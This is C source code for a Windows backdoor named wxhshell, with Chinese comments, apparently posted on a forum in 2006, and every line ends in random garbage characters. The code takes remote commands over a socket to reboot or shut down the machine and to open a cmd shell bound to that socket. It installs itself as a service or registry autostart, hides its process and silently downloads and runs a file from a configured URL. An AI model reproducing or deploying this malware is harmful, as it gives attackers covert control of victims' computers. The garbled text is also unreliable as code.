G'Y|MCKz>  
    switch(cmd[0]) { tG-MC&;=  
  zqkmsFH{  
  // 帮助 8ZDq KQ1;  
  case '?': { y (A"g3^=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +#no$m.bH  
    break; `U R.Rn/x  
  } pifgt  
  // 安装 AXCJFqk;  
  case 'i': { q'q{M-U<  
    if(Install()) xjpW<-)MLf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Mz]uk  
    else DH%X+r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iu'yB  
    break; jX%Q  
    } I}X8-WFB  
  // 卸载 BG"6jQh  
  case 'r': { M<nn+vy`  
    if(Uninstall()) K5$ y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w#XJ!f6*_9  
    else 3A5" %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sXWMXQ3  
    break; ,x/j&S9!  
    } 0U<9=[~q7@  
  // 显示 wxhshell 所在路径 jcj)9;n=!  
  case 'p': { #?9o A4Q  
    char svExeFile[MAX_PATH]; [o~w>,a  
    strcpy(svExeFile,"\n\r"); 3-05y!vbcE  
      strcat(svExeFile,ExeFile); 0czy:d,M%  
        send(wsh,svExeFile,strlen(svExeFile),0); >nxtQ  
    break; ktCh*R[`  
    } aF:I]]TfK~  
  // 重启 4{Iz\:G:{/  
  case 'b': { }7V/(K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t`?FSV  
    if(Boot(REBOOT)) i< ih :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mXr)lA  
    else { Oj:`r*z43  
    closesocket(wsh); (n< xoV[e  
    ExitThread(0); fKfi   
    } C8?/$1|RL  
    break; (w.B_9#  
    }  oDC3AK&  
  // 关机 vq{:=:5'P  
  case 'd': { 6V)#Yf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |^1eL I  
    if(Boot(SHUTDOWN)) N5_v}<CN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +RbCa c  
    else { yS?1JWUC>  
    closesocket(wsh); Zy'bX* s|  
    ExitThread(0); h41v}5!-  
    } eaI&DP  
    break; rg`"m  
    } g$< @!  
  // 获取shell GB -=DC6  
  case 's': { a7+BAma<  
    CmdShell(wsh); s:jwwE2  
    closesocket(wsh); o5)U3U1|  
    ExitThread(0); eq"~by[Uq  
    break; ]`MRH[{  
  } lU@ni(69d  
  // 退出 W4N$]D=  
  case 'x': { xTe?*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,xGlWH wrY  
    CloseIt(wsh); *P_TG"^{W  
    break; 4'{j'kuv  
    } x>t:&Y M  
  // 离开 w}'E]y2.  
  case 'q': { 4Q$\hO3b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XpM#0hm  
    closesocket(wsh); 3&}wfK]X  
    WSACleanup(); kJ~^  }o  
    exit(1); >iq^Ts  
    break; {&/q\UQ  
        } *u-TNg  
  } <uA|nYpp  
  } E;h#3 B9  
}ulFW]A^7  
  // 提示信息 Gs-'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wZ *m  
} 7)[4|I  
  } fx9c1h9s  
)2\6 Fy0S  
  return; }lWEbQ)(!  
} BM:je(*p  
pO"V9[p]  
// shell模块句柄 KSLyU1W  
int CmdShell(SOCKET sock) rQ/S|gG  
{ %[RLc[pB  
STARTUPINFO si; #.) qQ8*(  
ZeroMemory(&si,sizeof(si)); Y(<>[8S m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nE,"3X"   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8on2 BC2  
PROCESS_INFORMATION ProcessInfo; 0E bs-kP  
char cmdline[]="cmd"; Q~uj:A]n<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); st pa2z  
  return 0; 9!PJLI=D  
} zX(p\NU  
sHKT]^7  
// 自身启动模式 AWGeK-^  
int StartFromService(void) -p9|l%W  
{ J5IQ  
typedef struct U2!9Tl9".  
{ =eYrz@,  
  DWORD ExitStatus; J}lBK P:-*  
  DWORD PebBaseAddress; <0pBu7a  
  DWORD AffinityMask; kyz_r6  
  DWORD BasePriority; 3%'$AM}+s  
  ULONG UniqueProcessId; y1f&+y9e  
  ULONG InheritedFromUniqueProcessId; r\a9<nZ{  
}   PROCESS_BASIC_INFORMATION; oT.g@kf=H  
$--W,ov5j  
PROCNTQSIP NtQueryInformationProcess; l3-;z)SgH  
}7k+tJ<   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `AQv\@wp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |no '^  
< JA5.6<=  
  HANDLE             hProcess; #~ UG9@a  
  PROCESS_BASIC_INFORMATION pbi; 7>v1w:cC]  
r `VKb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <Sb W QbN  
  if(NULL == hInst ) return 0; |h@'~c  
wSnY;Z9W_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -@e9!/GP,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,J~kwJ$L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u:NSPAD)  
~M2w&g;1  
  if (!NtQueryInformationProcess) return 0; u-yQP@^H  
T)qD}hl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R"VmN2  
  if(!hProcess) return 0; +hqsIx  
c{7!:hi`x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gr}Lp  
l+Uy  
  CloseHandle(hProcess); 7xz|u\?_2  
G(EiDo&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <9B\('  
if(hProcess==NULL) return 0; &AG,]#  
p{[Ol  
HMODULE hMod; f)~urGazS  
char procName[255]; gyondcF  
unsigned long cbNeeded; U8PSJ0ny  
8.ll]3))  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kTL{?-  
mvyqCOp 0  
  CloseHandle(hProcess); .'saUcVg:  
!Y8us"   
if(strstr(procName,"services")) return 1; // 以服务启动 }PTYNidlR  
51u8.%{4  
  return 0; // 注册表启动 1D sgU6"  
} %+ynrg-  
9s8B>(L  
// 主模块 y'(l]F1]  
int StartWxhshell(LPSTR lpCmdLine) @2yi%_ ]h  
{ G'{$$+U^K  
  SOCKET wsl; _=Ed>2M)no  
BOOL val=TRUE; mzLDZ# =b  
  int port=0; .^6"nnfA#  
  struct sockaddr_in door; KWq7M8mq  
C: @T5m  
  if(wscfg.ws_autoins) Install(); CqDKQQ  
-{dsl|Dl  
port=atoi(lpCmdLine); \BOZhXfl'  
wws)**]J8  
if(port<=0) port=wscfg.ws_port; u=JI 1  
hqd}L~o:  
  WSADATA data; s-!Bpr16o0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \$n?J(N  
D<B/oSy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Y`cgi0vkd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rnz9TmN:*1  
  door.sin_family = AF_INET; 8.3888  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ua# sW  
  door.sin_port = htons(port); cLj@+?/  
^tc2?T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TO7%TW{L  
closesocket(wsl); ~$-Nl  
return 1; @5+ JXD  
} FTZ][  
MQ>.^]B]o  
  if(listen(wsl,2) == INVALID_SOCKET) { BQq,,i8H  
closesocket(wsl); phr6@TI  
return 1; JDrh-6Zgj  
} Y>LgpO.  
  Wxhshell(wsl); WX$mAQDV  
  WSACleanup(); |d\ rCq >  
)y&}c7xW  
return 0; O&YX V  
69AgPAv<k  
} lX$6U| !  
~= qJSb  
// 以NT服务方式启动 Q|/uL`_ni  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q{I,i(%m8  
{ -S5M>W.Qb{  
DWORD   status = 0; M il ![A1  
  DWORD   specificError = 0xfffffff; vcTWe$;Q  
"X4L+]"$g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `vs= CYs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yDh(4w-~gk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SJ$N]<d  
  serviceStatus.dwWin32ExitCode     = 0; #Bq.'?c'~  
  serviceStatus.dwServiceSpecificExitCode = 0; /Qi;'h]  
  serviceStatus.dwCheckPoint       = 0; 8Yfg@"Tn  
  serviceStatus.dwWaitHint       = 0; o;bK 7D  
s6Ox!)&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2K?~)q&t*  
  if (hServiceStatusHandle==0) return; 1d)wE4c=Z  
Z'sAu#C  
status = GetLastError(); t}r`~AEa!  
  if (status!=NO_ERROR) (`h$+p^-y  
{ #Ezq}F8Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wBlfQ w-N  
    serviceStatus.dwCheckPoint       = 0; :.KN;+tP  
    serviceStatus.dwWaitHint       = 0; b=[gK|fu  
    serviceStatus.dwWin32ExitCode     = status; pm$ZKM  
    serviceStatus.dwServiceSpecificExitCode = specificError; `tZu~ n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +c&n7  
    return; ds@X%L;_  
  } n^<3E; a  
O%RkU?ME  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $50rj  
  serviceStatus.dwCheckPoint       = 0; lR] z8 &  
  serviceStatus.dwWaitHint       = 0; zO#{qF+~;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F\&Sn1>k  
} UUb n7&  
n#@/A  
// 处理NT服务事件,比如:启动、停止 27mGX\T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ="E^9!  
{ B&^WRM;7t  
switch(fdwControl) &' ,A2iG  
{ ;A^0="x&  
case SERVICE_CONTROL_STOP: huh-S ,M  
  serviceStatus.dwWin32ExitCode = 0; 0Y rdu,c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Qvclu8r  
  serviceStatus.dwCheckPoint   = 0; K:PzR,nn  
  serviceStatus.dwWaitHint     = 0; {v&c5B~,\  
  { hjCFN1 #Sa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _isqk~ ul  
  } X r7pFw  
  return; 8`bQ,E+2  
case SERVICE_CONTROL_PAUSE: \QF\Bh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  LW?Zd=  
  break; T3po.Km\{  
case SERVICE_CONTROL_CONTINUE: 7U=|>)Q0s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BcJ]bIbKb  
  break; diXb8L7B;  
case SERVICE_CONTROL_INTERROGATE: Uh.XL=wY  
  break; cSdkhRAn  
}; U?/UW;k[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } sTo,F$  
} *"rgK|CM$  
ml7nt 0{  
// 标准应用程序主函数 *2MM   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M6n9>aW4  
{ ?O1:-vpZ  
|||uTfrJ  
// 获取操作系统版本 U3SF'r8  
OsIsNt=GetOsVer(); tCnx:1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i!zh9,i>M  
rE?(_LI  
  // 从命令行安装 ucm 3'j  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]7WBoC8  
wk { 9  
  // 下载执行文件 /m,0H)w1  
if(wscfg.ws_downexe) { n^QOGT.s6`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aQax85  
  WinExec(wscfg.ws_filenam,SW_HIDE); x' Z<  
} JyPsRpi\  
]h (TZu  
if(!OsIsNt) { muLt/.EZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 wv,,#P  
HideProc(); A`4Di8'Me  
StartWxhshell(lpCmdLine); />fP )56*  
} \ iL&Aq}BO  
else 3Rid 1;L0U  
  if(StartFromService()) hjiU{@q  
  // 以服务方式启动 <j1l&H|ux,  
  StartServiceCtrlDispatcher(DispatchTable); .8is! TT  
else &s!"pEZWck  
  // 普通方式启动 # k+Gg w  
  StartWxhshell(lpCmdLine); yI9~LTlA3  
s{q)m@  
return 0; b6D}GuW  
}
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只看该作者 1 发表于: 2006-10-10
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